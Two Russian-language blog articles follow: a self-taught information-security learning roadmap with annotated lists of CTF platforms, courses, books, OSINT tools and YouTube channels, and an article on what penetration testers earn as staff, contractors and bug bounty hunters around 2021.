    Сфера информационной безопасности невообразимо огромна. Пентест, реверс, беспроводные сети, физический пентест, OSINT, ботнеты, форензика, 0-day уязвимости, DDOS/DOS атаки, сетевые уязвимости, уязвимости мобильных устройств, военная промышленность, банковское ПО, криптография и шифры - это лишь часть того, что я вспомнил наугад из головы, где информационная безопасность не просто важна, а играет жизненно-важную роль для функционирования той или иной отрасли.

    Не хватит одной человеческой жизни, чтобы осилить каждую сферу и стать невероятно крутым спецом, знающим своё дело как никто другой в области в инфобезе.

    Я потратил весь прошлый год, только на то, чтобы вспомнить университетскую базу и в целом вновь окунуться в мир инфобеза, понять что вообще сейчас происходит, какие хакеры кого терроризируют, какие тулзы используются в криминалистике, а какие в пентестах, что такое реверс и как пользоваться burpsuite. И почти всегда меня сопровождало ощущение "ё-маё, ну неужели я такой тупой, что не могу запомнить такие простые вещи как HTTP заголовки или модель OSI, или как мне и когда собирать информацию о цели, что такое SQL инъекция и как вообще мне её применять".
    Но я старался не обращать внимание на подобные мысли, потому что я понимал, что я сейчас выстраиваю свой базис, основу на которую я буду сверху накидывать уже костяк своих умений и далее плясать в те сферы, которые мне будут наиболее интересны.
    Посему я просто давал подобным мыслям, фрустрации и нежеланию продолжать немного повариться во мне - отвлечься на ютуб, покушать вкусной еды, покачать пресс - и возвращался вновь к тому, на чём останавливался.


    Постоянно напоминайте себе о том, куда вы идёте, зачем и почему. Это полезно, это подзаряжает мотивацию, напоминает вам и позволяет высунув голову из тонны документации и текста с практикой - оглядеться, осознать на каком вы этапе и что вообще вы делаете сейчас и куда движетесь.(порой когда увлечешься какой-то темой, можешь вообще забыть с чего ты начинал, я не единожды начинал читать про модель OSI, а заканчивал в итоге про настройку сертификатов HTTPS соединения и как это сделать на apache2 и nginx или начинал изучать HTTP методы, а через полчаса находил себя за просмотром видео по тому как ломать wi-fi сети).

    Также нужно помнить что каждый из нас по разному толерантен к фрустрации и неудачам. Для кого-то затяжные провалы и неудачи могут не иметь серьезного эффекта на процесс обучения, работы и повседневной жизни, для кого-то даже легкая неудача равносильна гибели и провалу всей жизни, которая выбивает из распорядка дня на продолжительное время и заставляет зациклиться мыслями про неё.

    Однако, спешу обрадовать всех, кому сложно справляться со своими неудачами из-за чего создается и переносится целый ворох проблем попутно с этим страхом.
    Подобную толерантность вполне реально натренировать как любую другую мышцу тела (ну почти любую.

    Достаточно лишь взглянуть на очередную, нагло стыренную мной инфографику с ресурса о котором я сейчас ниже буду детально писать:

    Как видно из картинки выше - когда у нас есть четкое видение, навыки, наши стимулы выстроены, у нас достаточно ресурсов (денег, еды, мы выспались, морально готовы браться за очередную ответственность, у нас подготовлен и разработан первичный план действий и намечены основные майлстоуны по достижению которых мы проверим свой прогресс) и у нас есть план действий, которому мы будет следовать пока пробираемся через наш любимый, в самом начале описанный дремучий лес - мы четко и уверенно придём к точке под названием - Организованный успех.

    Если же у нас не хватает видения - то тогда рождается замешательство - где начать? откуда? что мне читать? а правильно ли я делаю, начав с этой книги, не пропускаю ли я каких-нибудь важных основ?

    Если у нас не хватает скиллов - мы начинаем чрезмерно волноваться и беспокоится что мы не справимся - как можно пройти дремучий лес, зайдя в него наполовину, без карты или хотя бы компаса?

    Если у нас недостаточно стимулов - происходит медленная, но верная смена интереса и затухание, в итоге мы сначала говорим "всё круто я справлюсь", потом это меняется на "да всё ок, должен справиться", "я не знаю справлюсь ли" и финальное и любимое "у меня не получится".

    Если не хватает ресурсов - мы впадаем в хорошо всем знакомую фрустрацию и как следствие нежелание вообще за что-либо браться или что-либо делать.
    Если нет четкого плана действий - то сложно понять куда двигаться, какие этапы проходить и как достичь желаемой цели.

    Главное помните о том, что ваши эмоциональные переживания временны.
    Чем чаще вы сталкиваетесь с чем-то и учите себя бороться с переживаниями - тем более толерантными к подобным переживаниям вы становитесь.

    Продолжайте двигаться к своей цели и у вас обязательно получится сделать то, что вы задумали.

Итак, подытожив очередную простыню, хочется сказать - ребята, не отчаивайтесь, это сложно, но правда очень интересно и увлекательно, стоит вам просто поверить в свои возможности и продолжать топить и оттачивать свои навыки и повышать количество знаний.

Hack is life. Или мой чемоданчик джентльмена

Ну что касатики, вот мы и добрались до самого желанного пункта данной статьи.

Ранее я не раз повторял фразу, что мир информационной безопасности невероятно велик.

Несмотря на то, что я постарался за своё прошлогоднее путешествие нагуглить и собрать максимум ресурсов и ссылок по всем возможным областям - я уверен, что список можно и нужно будет дополнять и добавлять по мере устаревания статьи.

Однако у многих людей с кем я обсуждал тему самостоятельного изучения темы хакинга красной нитью пролегает вопрос - "Каков порядок изучения?", а также "Где оттачивать скилы и что изучать?" - то я постараюсь ответить на эти два вопроса максимально ёмко.

1) Каков порядок изучения?

Отвечая просто - я считаю, что есть 3 пути.
Все они в любом случае зависят от вашего бэкграунда и начальных знаний.
Можно заниматься бесплатно и самостоятельно - тогда времени уйдет больше и придётся его потратить на то, чтобы настроиться сначала на область занятий, подготовить материал, учебный план и расписать свой путь (он же роадмап), затем перейти к самостоятельным занятиям, отслеживать свой прогресс, уметь мотивировать себя, ставить посильные задачи и т.д. и т.п..
Можно покупать курсы и получать структурированную информацию в одном месте и сразу.
Можно комбинировать.
Можно качать курсы с торрентов (я бы так ни за что не сделал, вы что).

В любом случае экспериментируйте. Нет одного верного способа научиться хакингу. У всех свои истории, у каждого свой путь.

Можно идти сверху-вниз.
Начав изучать к примеру устройство ОС (linux, windows) и спускаться вниз по мере возникновения понимания как работает программа или наоборот не понимания как именно обменивается программа данными, как она их получает и как вообще происходит вся магия за монитором.

Или идти снизу-вверх.
Вы покупаете, скачиваете Таненбаума, Олифера, книгу Код - и идёте от низкого уровня - как устроены компьютеры и железо, и что вообще можно из них выжать - до высокого уровня работы программ, эксплуатации уязвимостей, поиска этих самых уязвимостей, защиты от них и т.д.

Или идти так, как удобно тебе.

Да-да, можно создать свой порядок следования и изучения тем, инструментов, ОС, чего угодно.
Например, я пользуюсь mind-map программой XMind ZEN (не реклама если чо) - которая позволяет мне создавать удобные майнд-мепы.

Пример моих майнд-мепов.

Подобные майнд-мепы позволяют мне отслеживать свой прогресс, записывать в удобном формате и виде то, что я просмотрел и изучил, а также это весьма удобно. если хочешь в одном месте иметь древовидную структуру и отслеживать свой прогресс.

Однако, несмотря на многие "гайды" и подобные моим статьи - в интернете на зарубежных ресурсах таких как hackthebox, tryhackme ,pentesterslab (не спешите бежать гуглить, все ссылки будут ниже) - есть уйма уроков структурированных в том формате, в котором стоит начинать изучение темы хакинга.


Отвечая на второй вопрос.

2) "Где оттачивать скилы и что изучать?"

Думаю здесь уже стоит ввести некоторую разбивку на категории, которые я создал исключительно сам исходя из своих субъективных суждений.


Категории следующие:

1) Ресурсы для обучения (места где можно тренироваться использовать полученные навыки по пентесту и хакингу + ctf площадки типа hackthebox).

В данной категории будут изложены те ресурсы, на которых тренируюсь и обучаюсь я и сегодня (или которые планирую использовать в обозримом будущем - их меньшинство).

  • https://academy.hackthebox.eu/ - онлайн академия от достаточно популярного ресурса hackthebox. Здесь вы сможете найти модули по фундаментальным знаниям (Windows, Linux fundamentals, как работать с основными тулзами в kali linux, что такое обфускация, что такое Stack-Based Buffer Overflows on Linux x86, DNS enumeration и многое-многое другое). Основа бесплатна - остальные Tier - модули обучения - платны. Но цены весьма адекватные, а материал для старта вполне адекватен по качеству и количеству + сам Hackthebox тут же под рукой, на котором можно отточить все только что полученные навыки.

  • https://picoctf.org/ - CTF площадка от университета Carnegie Mellon на которой можно оттачивать свои навыки пентестера

  • https://www.professormesser.com/ и https://www.youtube.com/user/professormesser - полноценные курсы как в бесплатном, так и в платном доступе по сертификатам

  • https://www.pentesteracademy.com/ - очередной достаточно знаменитый ресурс для тренировок и оттачивания своих навыков (дебаггеры, wi-fi челенджи, network pentesting, web pentesting, forensics) - к тому же до 31 января 2021 у них сейчас вроде как скидоны идут (как и в течении года) - можно урвать хороший доступ к куче лаб и обучающим курсам и виде.

  • https://www.hacker101.com/ - замечательный ресурс с достаточным количеством видео и упорядоченным списком что изучать и в каком порядке - более чем достаточен для старта и дальнейших самостоятельных занятий.

  • https://www.learnqa.ru/security - не проходил, но по отзывам для старта веб-пентеста самое то.

  • https://academy.tcm-sec.com/courses и https://www.youtube.com/c/thecybermentor - один из первых ресурсов, которые я нашёл, когда начал изучать и искать инфу по теме хакинга - TheCyberMenthor - на сайте представлены платные курсы, на ютубе есть огромные 5-15 часовые полноценные курсы по пентесту, веб-пентесту, основам линукса и куче всего остального. Прелесть в том, что на ютубе, в бесплатной 15 часовой версии обучающей по пентесту - есть практически всё, что нужно для того, чтобы посмотреть на рабочий день пентестера, увидеть как юзаются тулзы.

  • https://book.hacktricks.xyz/ - хотите освоить основы эскалации привелегий на linux и windows? работать с shell'ом и заливать paylod'ы? Тогда вам точно следует изучить блог данного парня.

  • https://www.hacking-lab.com/ - очередная площадка для отработки CTF - но в этой есть также лабы на которых можно потестить sms spoofing и в целом "пощупать" уязвимости телефонии.

  • https://ctftime.org/ - площадка на которой можно принимать участие в upcoming CTF батлах и кубках. Можно командой, можно в соло.

  • https://sqlbolt.com/ - хотите научиться работать с SQL и понять вообще как он устроен, научиться писать запросы? Точно пройдите этот тренажер.

  • https://linkmeup.ru/sdsm/ - я думаю такая титаническая работа как "сети для самых маленьких" и иже с ним не нуждается в рекламе. А если вы не знаете кто это и что это - то тем более бегом туда.

  • https://github.com/bkimminich/juice-shop - очередной аналог DVWA или metasploitable2-3 - уязвимые ОС и веб сайты, для оттачивания своих навыков в эксплуатации уязвимостей.

  • http://www.iso27000.ru/katalog-ssylok/hakerskie-saity - ребят, ну самые настоящие хакерские сайты, что вам ещё надо?

  • https://xakep.ru/ - олды тут?

  • https://stepik.org/course/127/syllabus - думаю мне не нужно рекламировать Stepik? Помимо этого курса есть с десяток других, которые стоит обязательно просмотреть. Как по общим знаниям операционных систем, так и по сетям, устройству ЭВМ, основам программирования и куче всего интересного и полезного

  • https://www.hacksplaining.com/ - великолепный ресурс с инфографиками, гифками и пояснениями основных уязвимостей и того, как именно они работают. Очень рекомендую. Люблю такие простые и крайне понятные инфографичные ресурсы.

  • https://xss-game.appspot.com/ - хотите научиться находить XSS уязвимости за которые можно получать до 7500$ за одну найденную уязвимость? Тогда стоит посмотреть что там по ссылке.

  • https://www.hackers-arise.com/ - вырвиглазный форум с полезной инфой старого поколения и образца.

  • ine.com - великолепный ресурс, который имеет как платные, так и бесплатные модули, по которым можно набить себе базу по пентесту, реверсу и в целом по информационной безопасности.

  • https://pentesterlab.com/ - отличный ресурс для тренировок по CTF и пентесту с кучей лаб. Дешево стоит если покупать на год доступ.

  • https://jehy.github.io/mami/# - просто полезный ресурс, почитать про уязвимости.

  • https://overthewire.org/wargames/ - хотите научиться основным командам и работе в терминале ? Тогда этот ресурс с мини играми расположенными на удаленных ssh лабах точно для вас. Самый простой порог вхождения в CTF + обучает одновременно азам работы в линуксе.

2) Форумы, каналы, блоги, библиотеки книг.

Наиважнейшая ортодоксальная часть как форумы.
Список книг для обязательно (и не очень) изучения.

  • Таненбаум Э. - Компьютерные сети (5-е издание)

  • Таненбаум - Современные операционные системы

  • Олифер - Компьютерные сети. Принципы, технологии, протоколы (кстати в прошлом году вышел свежак этой книги)

  • Яворски П. - Основы веб-хакинга. Как зарабатывать деньги этичным хакингом.

  • Скабцов Н. - Аудит безопасности информационных систем (2018)

  • Эриксон Дж. - Хакинг искусство эксплойта (старая книга, но переиздание было пару лет назад, в любом случае актуальна как для новичков, так и для среднего уровня)

  • Мануал по Shodan - hackerlib (гуглите, ищите сами, заодно потренируетесь в OSINT)

  • Макконел С. - Совершенный код. Практическое руководство по разработке программного обеспечения

  • Парасрам Ш. - Kali Linux. Тестирование на проникновение и безопасность (2020)

  • Гейер Дж. - Беспроводные сети. Первый шаг.

  • Херцог, О'Горман, Ахарони - Kali Linux от разработчиков (Компьютерная литература) - 2019

  • Милосердов А. - Тестирование на проникновение с помощью Kali Linux 2.0 - 2015

  • Кофлер М. - Linux. Полное руководство - 2011

  • Колисниченко Д.Н. - Linux. От новичка к профессионалу, 6-е изд. (В подлиннике) - 2018

  • https://codeby.net/ - форум с кучей полезной инфы. Также у них есть пара курсов от создателей форума, по отзывам вроде ок. Я не тестил.

  • https://hackaday.com/ - англоязычный форум, свежие новости, но в основном всякий варезный и diy фан.

  • https://hacker-basement.ru/ - подвальчик хакера - нужно другое пояснение?

  • http://rus-linux.net/ - хотите быть в курсе последних изменений в мире линукса - надо сидеть тут.

  • http://dorlov.blogspot.com/2011/05/issp-cissp-all-in-one-exam-guide.html - говорят монстры среди монстров и отцы отцов только смогли прочитать эту книгу от начала и до конца.
    Ну а в целом очень полезное чтиво для уже подготовленного ума и начинающего.

  • https://hackware.ru/?page_id=1735 - просто куча разной литературы по хакингу и безопасности. Чекай и наведи порядок сам

3) OSINT.

Всё что связано с пробивом и поиском информации и в целом со скиллом, который должен быть развит на достаточном уровне у любого хакера - разведка из открытых источников.

  • Научись пользоваться google dorks или google hacking - невероятно расширяет доступ к поиску нужной информации, особенно если овладеешь этим скиллом как следует.

  • https://osintframework.com/ - отец всех отцов - старый добрый osintframework - почти все нужные тулзы собранные в одном месте, просто выбери нужную ветку, найди название фреймворка или тулза - загугли и юзай.

  • https://telegra.ph/Podrobnoe-opisanie-besplatnyh-modulej-v-Maltego-09-27 и https://telegra.ph/CHAST-2-09-29-2 - что такое Maltego и как пользоваться одним из основных инструментов для OSINT'a читать здесь (в двух частях)

  • https://www.spiderfoot.net/ - платформа с различными автоматизированными тулзами и плюшками для тех чья работа - пробив и поиск информации.

  • https://namechk.com/ - хотите пробить пользователя по нику и узнать где ещё он зарегистрировался с подобным? Ваш выбор номер 1 (не включая конечно фреймворки внутри kali)

  • https://www.social-searcher.com/social-mention/ - надо отследить часто повторяющиеся и упомянутые тренды? Тогда эта тулза выручит

  • https://hunter.io/ - надо найти связь почты и компании? Определенно пользуйся этим. Более 100 млн индексированных страниц дадут точный результат.

  • https://vas3k.ru/blog/389/ - полезная статья с которой началось моё знакомство с OSINT и техниками поиска информации.

  • https://search.buzz.im/ - в пояснении думаю не нуждается.

  • Обязательно посмотреть видео и почитать книги Андрея Масаловича - если ваша цель стать крутым OSINT'ером

4) Youtube каналы и курсы (какие-то скачаны с торрентов, какие-то куплены по акциям, "скидончики в пятерочке наше всё").

Всё и вся, что только можно нарыть на англоязычном и русскоязычном ютубе по тематике кибербезопасности.

  • https://www.youtube.com/c/PwnFunction/videos - основы OWASP-10 уязвимостей в формате красочных, простых и понятных коротких видео.

  • https://www.youtube.com/watch?v=fB3DI48MNno&list=PLnjNR4-S-EVqfJWovxEJyb7I0IOkKkoYM - не самый свежий, но вполне годный полноценный туториал курс по работе с kali linux и первыми шагами в направлении пентеста.

  • https://www.youtube.com/c/HackerSploit - пентест, основы работы с линуксом и терминалом, работа с основными тулзами в kali linux, разбор и объяснение основных уязвимостей и былых 0-day, научиться использовать Metasploite и много-многое другое.

  • https://www.youtube.com/c/KirillSemaev - старый добрый Семаев, хотите обучиться как юзать линукс в боевых задачах и условиях - милости прошу (его видео не имеют никакого особого отношения к пентесту или безопасности, скорее к общим навыкам работы с линуксом)

  • https://www.youtube.com/c/webpwnized - один из лучших англоязычных чуваков, которые очень понятно и доступно объясняют основы линукса, пентеста, настройки burp и owaspzap и тонна других полезных тем разбирается.

  • https://www.youtube.com/c/devnull1337 - кодинг, хакинг, много кофе - что нужно ещё? Иногда разбирает пройденные таски на picoCTF - который я указал ещё в первом пункте. Так что если застряли где-то - не стесняйтесь дать себе подсказку.

  • https://www.youtube.com/channel/UCQfwKTJdCmiA6cXAY0PNRJw - канал преподавателя Тимофея Хирьянова - нужны академические азы программирования, информатики и основ ЭВМ? Вам точно сюда

  • https://www.youtube.com/c/JohnHammond010 - прям как CyberMentor что упоминал я выше, только со своей колокольни.

  • https://www.youtube.com/user/RapidBug - очень толковая и крутая девчонка, которая расскажет, объяснит и покажет как начать свои похождения в веб-пентесте и научиться находить первый баг за который заплатят денюжку на hackerone.

  • https://www.youtube.com/channel/UCSXe3vOtFuMQnchDyGPi-fQ/videos - хакинг для самых маленьких. Не самое свежее, но годное.

  • https://www.youtube.com/watch?v=wBp0Rb-ZJak - фул курс по линуксу.

  • https://www.youtube.com/c/%D0%9A%D0%B0%D1%82%D0%B0%D0%BD%D0%BE%D1%82%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D1%8F%D1%85/ - вот какая ссылка бывает, когда название канала на русском языке - узнать про нетсталкинг, осинт, слежку через камеры - и в общем популярным языком на коротких, красочных видео завлечь и развлечь себя ненадолго темой хакинга можно тут.

  • https://www.youtube.com/c/LiveOverflowCTF - достаточно известный канал и известный хакер в своих кругах.

  • https://www.youtube.com/c/ChrisGreer/videos - работа с wireshark, сетями, протоколами

  • https://www.youtube.com/c/devcentral/ - очень толковый канал, на котором можно найти подробные и очень понятные объяснения различных технологий (шифрование, безопасность, devops и многое другое)

  • Linux для начинающих (OTUS)

  • [OTUS] Пентест. Практика тестирования на проникновение (2019)

  • Хакинг веб-приложений, атака на куки (2018 Pluralsight)

  • https://www.youtube.com/channel/UC5gufuYHPSsJA-jul-iwyXA Курс по сетям и основам коммуникаций (Андрей Созыкин)

  • [HTML Academy] Профессиональный онлайнкурс HTML и CSS, уровень 1 (2020)

  • [jsexpert] [Евгений Калюжный] Понятный JavaScript (Beginner)

  • [SkillBox] [Вадим Шандринов] Python-разработчик

  • [Udemy] Полный Курс Python 3 от Новичка до Мастера (Питон, Пайтон) [Jose Portilla]

  • Kali Linux Для Начинающих (2018) Видеокурс (HackersAcademy)

  • Learn Hacking Windows 10 Using Metasploit From Scratch (iSecurutyPro) - какой-то индийский курс

  • Pentester Academy - Python For Pentesters

  • Udemy - SQL для начинающих с нуля до сертификата Oracle (2019)

  • Модель OSI и стек протоколов TCP-IP (GeekBrains)

  • Тестирование защищенности веб-приложений (software-testing ru)

  • Jason Dion - Анатомия кибератаки начинающий взлом с Metasploit! (2019) https://cloud.mail.ru/public/3ebg/o1im3g5fE/

  • Изучаем Python и взлом систем с нуля (2018) Заид Саби

5) Программирование.

Хоть тема и смежная, но в любом случае жизненно-важная для любого уважающего себя хакера.

6) WEB и всё что связано с веб-пентестом.

  • https://portswigger.net/web-security/learning-path - ресурс компании portswigger - создателей BurpSuite - имеют собственную академию онлайн в которой уйма и тонны полезной информации по веб-пентесту. Если хотите в будущем заниматься поиском багов и тестированием сайтов на уязвимости - вам точно следует вдоль и поперёк прочитать данный ресурс.

  • https://urlscan.io/ - надо узнать список субдоменов, доменов и технологий которые юзаются на сайте? urlscan твой друг товарищ и брат.

  • Расширение Wappalyzer в Chrome- позволяет просматривать расширения и технологии используемые на сайте.

  • Поставьте себе Firefox Multi-Account Containers - незаменимая вещь для проведения веб-пентестов. Позволяет легко и быстро переключаться между 4 разными пользователями с 4 разными куками, чтобы посылать 4 разных запроса не разлогиниваясь. Ну думаю понятно?

  • https://securityheaders.com/ - полезная тулза для проверки заголовков сайта.

  • https://builtwith.com - очередная тулза, которая позволяет получить полезную инфу в ходе сбора данных по сайту.

  • dehashed.com - узнать утекли ли креды на вашем сайте во вне, весьма полезная, но платная платформа

  • https://owasp.org/www-project-web-security-testing-guide/ - ну и как же без owasp ресурса компании, которая и занимается структурированием и категоризацией уязвимостей на сегодняшний день. Если что-то и будет появляться нового по уязвимостям - то точно в первую очередь у них.

7) Внешние инструменты вне ОС + железо (ПО).

  • https://urlscan.io/ - надо узнать список субдоменов, доменов и технологий которые юзаются на сайте? urlscan твой друг товарищ и брат.

  • https://market.yandex.ru/product--wi-fi-adapter-alfa-network-awus036ach/12473758 - тот самый знаменитый Alpha адаптер для тренировок по взлому wi-fi сетей (дисклеймер не взламывайте чужие сети, доступа к которым вы не имеете, это плохо, ломайте только те, доступ и разрешение к которым у вас есть)

8) Reverse engineering.

  • https://www.manhunter.ru/ - хотите уметь в настоящий мужской реверс и ассемблер? Конечно хотите.

  • https://www.youtube.com/c/LiveOverflowCTF - достаточно известный канал и известный хакер в своих кругах + также топит за реверс.

  • https://forum.reverse4you.org/c/materials/8?order=activity - хотите знать про реверс - точно надо сюда

  • http://personeltest.ru/aways/habr.com/ru/users/yashechka/posts/ - введение в реверс + адванс введение в реверс, одним словом на хабре куча статей по реверсу. Поиск в помощь.

  • https://yutewiyof.gitbook.io/intro-rev-ida-pro/ - однажды после очередного собеседования на позицию джуна мне сказали подготовиться по этой книге и решить тестовое (я конечно же этого не сделал). Но книга очень годная. Обязательна к прочтению.

  • https://www.corelan.be/ - надо в хардкорный реверс? там есть его с головой.

  • rdot.org - олдскул, реверс, хакинг, программирование и живое общение - пой душа, несись в рай.

  • Реверс-инжиниринг курс от OTUS

9) Bugbounty площадки

Как видите, списки получились весьма внушительные, если учесть что каждая ссылка введет на отдельное исследование и заслуживает как минимум нескольких десятков часов изучения - то не стоит ожидать что я смог учесть все возможные стоящие ресурсы для изучения.
Помимо того количества что я указал в статье, есть приблизительно вдвое больше, которых я не указал и/или не знаю о которых.

Поэтому как всегда - финальный результат всегда за каждым из вас.

Кто-то сможет найти ещё более крутые ресурсы, чем я.

Заключение

Написание данной статьи было решением принятым абсолютно случайно.

Я написал её сегодня за 5 часов без особой подготовки, одна из причин - потому что я записался на курс по веб-уязвимостям и в чате предложил поделиться своими накопленными знаниями с ребятами, записавшимися на курс и решил, если делиться - то делать это качественно и как следует, в удобном формате, который я бы смог редактировать время от времени.

Другая причина - мне давно хотелось это сделать и внести свою лепту в комьюнити в своей стране и на своём языке, так как этого действительно не хватает, но я всё оттягивал момент, потому что считал что нужно и можно подкопить ещё информации и структурировать её ещё более удобным и красивым образом.

В любом случае получилось то, что получилось.

Надеюсь мой стиль написания и размышлений не был слишком вычурным и был понятен тем, кто будет читать эту статью и даже им понравится.

В заключение хочу сказать - я лишь в начале своего пути и не знаю куда он меня заведёт.
Но даже сейчас и сегодня - мне было приятно внести свою лепту в компьюнити хакерства и информационной безопасности.

Надеюсь что и дальше этот тренд у меня удастся поддерживать на должном уровне и отдаче.

Спасибо.

Подробнее..

50 000 в месяц не проблема, или Сколько на самом деле зарабатывают пентестеры

19.03.2021 20:17:05 | Автор: admin

Пентестер одна из самых неоднозначных профессий в IT сфере. Вроде как специалист по кибербезопасности, который тестирует системы на уязвимости, но в то же время многие воспринимают его как хакера.

Многие люди ошибочно считают, что раз пентестер это почти хакер, то и зарабатывать он должен 300к/наносек (минимум). Накануне старта нового потока нашего курса "Этичный хакер" разберёмся, действительно ли это так.


Чем занимается пентестер

Начнём с начала. Пентестера можно называть как угодно: этичный хакер, тестировщик безопасности систем, специалист по проверке работоспособности, специалист по информационной безопасности. От этого его функции не меняются.

Пентестер это в первую очередь программист и инженер, который тестирует уязвимости информационной системы.

Хакер ищет уязвимости, чтобы их использовать: скачать личные данные, пароли и секретную информацию, доступы к финансовым счетам или внутренней документации. Пентестер ищет уязвимости, чтобы помочь компании от них избавиться. При этом инструменты и техники проникновения могут быть одинаковыми, но цели и принципы отличаются кардинально.

В пул задач пентестера входит:

  • Тест сети и приложений на уязвимости. Найти дырку в информационной системе крупной компании не так сложно. Куда сложнее понять:

    • Почему дырка именно здесь: банальная ошибка, лень, незнание технологии.

    • К чему может привести её использование хакером: потеря данных, проникновение в систему с рут-доступом, слив личной информации клиентов и сотрудников. Пентестер ведь не имеет права использовать уязвимость даже в тестовом формате. Поэтому просто проверить не получится.

    • Как исправить уязвимость, чтобы проблема не вылезла в другом месте и не стала еще более серьёзной.

  • Ведение отчётов по всем проведённым тестам и найденным уязвимостям с подробным их описанием.

  • Разработка общей политики информационной безопасности компании и отдельных сотрудников.

Пентестер ещё до начала работы связан договорами. Его работа и разрешённые тесты чётко регламентированы и отступать от них он не имеет права.

Если в соглашении прописан только тест веб-приложения, то даже попытка взлома базы данных это уже преступление.

Как зарабатывает пентестер

Есть 3 основных пути, по которым может пойти тестировщик безопасности:

  • Присоединиться к команде пентестеров или войти в отдел пентеста крупной компании. Из плюсов здесь полная защищённость со стороны закона, но зарплата не будет особо отличаться от средней в IT-сфере.

  • Открыть ИП и работать по договору. По деньгам здесь можно заработать гораздо больше, но юридические вопросы полностью ложатся на плечи специалиста. Нередки случаи, что за уязвимости, найденные не там, где это было прописано в договоре, пентестеры получали не премию, а уголовное преследование.

  • Работать на Bug Bounty. Оферты для приглашения пентестеров на специальных ресурсах. Нашёл баг или уязвимость получай заранее определённую оплату. Принять участие может любой специалист, главное - придерживаться условий пентеста, которые подробно прописаны в оферте.

Штатный пентестер: зарплата и возможности

Давайте рассмотрим каждую из возможностей поближе. Сначала зарубежный опыт. Начнём с штатного пентестера, который получает фиксированную зарплату.

По данным Indeed, специалист по пентесту в штате компаний США получает в среднем 118 316 долларов год. Это примерно столько же, сколько получает фуллстак разработчик или дата-сайентист.

Но вот Cyber Degrees не так оптимистичны в своих анализах. По данным их ежегодного отчёта, средняя зарплата пентестера в США составляет около 84 690 долларов в год. А это на 27 % меньше, чем даёт Indeed. Существенная разница.

При этом зарплата в профессии сильно зависит от опыта и компетенций специалиста. Новичок в сфере с опытом меньше полугода получает около 66 000 долларов в год, даже если у него обширный опыт в IT-специальностях вроде системного администрирования или разработки.

Middle-специалист, по мнению Cyber Degrees, зарабатывает примерно 106 000 долларов. В целом, даже если учесть разницу между отчетами, общая сумма не слишком отличается от других специальностей, связанных с разработкой и тестированием софта.

А вот портал Glassdoor более пессимистичен в оценках и среднюю зарплату штатного пентестера оценивает в 69 000 долларов. Но нужно учесть, что портал анализирует цифры, предложенные в вакансиях, а не зарплаты реальных специалистов, которые могут быть в разы больше.

Ищут обычно миддлов и новичков, которые хотят перейти в пентест из других специальностей. Спрос на сеньоров довольно небольшой. Они либо ведут свои проекты, либо за них крепко держатся крупные компании.

По состоянию на 14 марта 2021 года, на Indeed открыта 41 вакансия сеньор-пентестера. Для сравнения: там же открыто 6867 вакансий сеньор-разработчика на Python. Можно понять, насколько большой разрыв спроса.

А теперь о ситуации в России. С русскоязычным рынком пентестеров дела обстоят как-то странно. Отдельные крупные компании и филиалы международных концернов нанимают команды пентестеров или пользуются услугами Bug Bounty, но вакансии конкретно пентестера открываются значительно реже.

Дело в том, что функции пентестера часто выполняют другие специалисты. К примеру, тестировщик или системный администратор.

На Хабр Карьера мы не нашли ни одной открытой вакансии пентестера. На hh.ru, по состоянию на 16 марта 2021 года, есть 29 вакансий на позицию пентестера. Но на самом деле только 15, потому что половина к пентесту не имеет никакого отношения.

В чём дело? Их часто ищут в других вакансиях, которые мы назвали выше. А сайты по поиску работы теряются и думают, что это разные вакансии и специальности, поэтому не подтягивают их вместе. Можете считать это первым тестом по специальности.

В сфере ИБ в целом вакансий достаточно, но именно пентестерских позиций немного. Специалист ИБ - это профессионал широкого профиля, с большим объёмом знаний. И понимание уязвимостей, атак и методологии пентеста помогает специалистам ИБ работать на стороне защиты. Мы рассказываем про опыт экспертов, которые работают в безопасной разработке, специалистами по безопасности. Есть ещё bug bounty, когда можно найти уязвимости, выложенные в открытый доступ крупными компаниями. Это уже международный уровень. Кроме того, сертификации в сфере кибербезопасности (CEH, OWASP) и практический боевой опыт повышает ценность специалиста.

Яна Суслова, методист курса Этичный хакер

Рынок только развивается, поэтому востребованность специалистов по безопасности стабильно растёт. Плюс, есть ещё несколько проверенных способов получить работу пентестера, не пользуясь такими сайтами. О них чуть ниже.

Чаще пентестеры работают как самозанятые или в составе отдельных команд. Что приводит нас к следующему разделу.

Пентестер как ИП, самозанятый или часть команды

Несмотря на то, что вакансий пентестеров сейчас не слишком много, рынок начинает понимать, для чего нужны их услуги.

Но для абсолютного большинства компаний малого и среднего бизнеса пентест это разовая или очень редкая акция. Для неё нет смысла нанимать специалиста в штат. Только крупные игроки могут позволить себе нанять штатного инженера по информационной безопасности.

В России это буквально единичные компании. Малый и часть среднего бизнеса нанимают индивидуальных пентестеров, крупный предпочитает нанимать команды с именем и пулом выполненных проектов.

Цена на пентест по договору зависит от многих факторов. В США она стартует от 2500 долларов. В России от 100 000 рублей. Имеет значение, какие именно системы тестируются, как глубоко, какие именно уязвимости на прицеле: только критические или все более-менее серьёзные.

Комплексный пентест зачастую берут команды, состоящие из 4-10 специалистов. Отдельные же задачи (к примеру, анализ уязвимостей баз данных) могут выполнять и индивидуальные специалисты.

В целом за пентест среднестатистический специалист получает 100-200 долларов в час. Но это - грязными, из которых нужно ещё вычесть определенную сумму на налоги и работу юриста с договорами. Без грамотного IT-юриста в пентесте вообще делать нечего даже небольшой косяк в договоре может обернуться большими проблемами для спеца.

Здесь также всплывает самая главная проблема современного рынка пентестов нерегулярность. Пентестер в России не может рассчитывать на полную загрузку только по договорам с российскими компаниями. Ведь абсолютное большинство организаций заказывают пентест не чаще раза в год, а многие значительно реже.

Несмотря на трудности и риски, работа пентестера на себя приносит доход в среднем в 1,5-2 раза выше, чем при оформлении в штат. Но для этого нужно обладать отличными навыками коммуникации и переговоров заниматься ими нужно будет не меньше, чем самими пентестами.

Стабильная загрузка есть в крупных компаниях, которые предоставляют услуги пентеста. Но, по факту, это то же самое, что работа в отделе пентеста любой другой компании. Стабильная загрузка и средняя зарплата.

Чтобы не простаивать зря, многие этичные хакеры пользуются программами Bug Bounty. Переходим к ним.

Bug Bounty: альфа и омега для пентестера

Наконец, переходим к источнику заработка, который абсолютное большинство пентестеров считают своим основным. Программы Bug Bounty.

По информации из открытых источников и наших коллег-пентестеров, среднестатистический этичный хакер может зарабатывать на программах Bug Bounty 2000-3000 долларов в месяц.

Главный плюс программ можно сосредоточиться на уязвимостях, в которых вы хорошо разбираетесь. К примеру, вы профи в разработке приложений для Android и можете искать уязвимости и ошибки в безопасности таких приложений.

Можно вполне успешно работать в одной узкой сфере и нормально зарабатывать.

